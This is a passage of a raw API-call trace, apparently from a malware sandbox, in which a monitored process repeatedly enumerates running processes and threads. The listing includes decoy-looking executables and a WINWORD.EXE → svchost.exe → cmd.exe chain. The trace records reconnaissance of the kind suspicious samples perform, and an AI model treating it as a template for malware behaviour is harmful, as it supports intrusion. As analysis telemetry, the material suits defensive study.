Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0109.783] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0109.784] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0109.784] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0109.796] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0109.796] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0109.797] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0109.798] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0109.799] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0109.799] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0109.800] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.802] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0109.803] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.803] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.804] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.805] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0109.806] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0109.807] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.808] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.809] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0109.809] CloseHandle (hObject=0x500) returned 1 [0109.810] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x500 [0109.811] Thread32First (hSnapshot=0x500, lpte=0x4f1f308) returned 1 [0111.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0111.051] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.052] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.053] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.053] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.054] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.055] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.056] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.057] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.058] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.058] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.059] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.060] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.061] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.062] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.063] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.063] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.065] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.065] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.066] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.067] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.068] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.069] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.070] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.070] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.071] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.072] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.073] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.074] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0111.075] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0111.076] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0111.077] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0111.077] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0111.078] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0111.079] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0111.080] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0111.081] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0111.082] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0111.082] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0111.083] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0111.084] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0111.085] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0111.085] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0111.086] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0111.087] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0111.088] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0111.088] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0111.089] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0111.090] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0111.091] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0111.092] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.092] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0111.093] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.094] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.095] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.168] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.169] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.170] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.171] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.171] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0111.172] CloseHandle (hObject=0x13d8) returned 1 [0111.172] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13d8 [0111.174] Thread32First (hSnapshot=0x13d8, lpte=0x4f1f308) returned 1 [0114.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0114.857] Process32FirstW (in: 